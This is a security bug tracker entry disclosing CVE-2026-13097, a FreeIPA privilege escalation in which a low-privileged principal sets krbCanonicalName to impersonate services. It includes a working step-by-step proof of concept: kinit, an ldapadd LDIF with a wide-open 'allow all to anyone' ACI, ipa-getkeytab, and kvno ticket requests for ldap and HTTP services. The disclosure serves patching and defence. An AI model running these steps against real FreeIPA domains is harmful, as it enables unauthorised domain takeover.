Bug 2515974 (CVE-2026-13097) - CVE-2026-13097 ipa: Privilege escalation via krbCanonicalName manipulation due to realm-unaware uniqueness enforcement in FreeIPA LDAP datastore
Summary: CVE-2026-13097 ipa: Privilege escalation via krbCanonicalName manipulation du...
Keywords:
Status: NEW
Alias: CVE-2026-13097
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
high
high
Target Milestone: ---
Assignee: Product Security
QA Contact:
URL:
Whiteboard:
Depends On: 2520175
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-08-14 11:28 UTC by OSIDB Bzimport
Modified: 2026-08-20 10:25 UTC (History)
6 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)

Description OSIDB Bzimport 2026-08-14 11:28:25 UTC
I'd like to report a privilege escalation method based on manipulation of the krbCanonicalName attribute. Despite changes made by FreeIPA and PAC certificate validation, it can still be abused.

Requirements to exploit: The attacker must have the rights of the computer account or an account with the right to add to almost any branch of the LDAP directory.

Version affected: FreeIPA VERSION: 4.12.2, API_VERSION: 2.254
Patch available: no
CVSS 3.1 Vector
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

You're familiar with the general information on vulnerabilities CVE-2025-4404 and CVE-2025-7493.
But there's a method that can currently be exploited, and it's much more dangerous than the CVEs listed.
The problem is that a user who controls krbCanonicalName can specify the value of any account by simply specifying krbCanonicalName without specifying REALM and then request the tickets they need.
On earlier versions of FreeIPA where PAC certificate validation isn't enabled, we can already fully exploit the domain. But even with PAC validation enabled, we can specify values with the service prefix.
For example, krbtgt/ or ldap/ or host/ and request a ticket with a PAC, and KDC will return a perfectly valid ticket.
It's worth noting that if you simply specify "admin," the issuance of such tickets will be rejected due to PAC certificate validation.
One of the easiest ways I see is to get a domain controller account, for example host/ipa.red.corp.


kdestroy -A


kinit -k -t /etc/krb5.keytab host/debi.red.corp


ldapadd -H ldap://ipa.red.corp


dn: krbprincipalname=pwn/debi.red.corp,cn=services,cn=accounts,dc=red,dc=corp
ipaKrbPrincipalAlias: pwn/debi.red.corp
krbPrincipalName: pwn/debi.red.corp
objectClass: ipaKrbPrincipal
objectClass: ipaObject
objectClass: ipaService
objectClass: krbPrincipal
objectClass: krbPrincipalAux
objectClass: top
krbCanonicalName: host/ipa.red.corp
managedBy: fqdn=debi.red.corp,cn=computers,cn=accounts,dc=red,dc=corp
aci: (targetattr = "*")(version 3.0;acl "pwn";allow (all) userdn = "ldap:///anyone"winking face


ipa-getkeytab -p pwn/debi.red.corp -k ./pwn.keytab --mech=GSSAPI


kdestroy -A


kinit -k -t pwn.keytab pwn/debi.red.corp


kvno HTTP/ipa.red.corp


kvno ldap/ipa.red.corp


klist -A


Note You need to log in before you can comment on or make changes to this bug.